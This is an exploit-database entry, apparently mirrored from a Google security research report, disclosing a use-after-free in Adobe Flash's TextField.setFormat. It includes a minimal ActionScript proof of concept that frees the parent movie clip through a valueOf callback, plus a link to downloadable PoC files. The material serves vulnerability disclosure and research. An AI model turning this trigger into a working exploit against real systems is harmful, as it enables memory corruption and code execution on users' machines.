Adobe Flash TextField.setFormat - Use-After-Free

Source: https://code.google.com/p/google-security-research/issues/detail?id=586
 
The TextField setFormat method contains a use-after-free. If an integer parameter has valueOf defined, or the object parameter overrides a constructor, this method can free the TextField parent, which is subsequently used.
 
A minimal PoC is as follows:
 
var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
var f = new TextFormat();
tf.setFormat( {valueOf : func}, 2, f);
 
function func(){
 
        if(times == 0){
             times++;
             return 0;
 
         }
 
    mc.removeMovieClip();
 
        // Fix heap here
 
    return 0;
     
    }
 
A sample swf and fla are attached.
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39046.zip

#  0day.today [2018-04-14]  #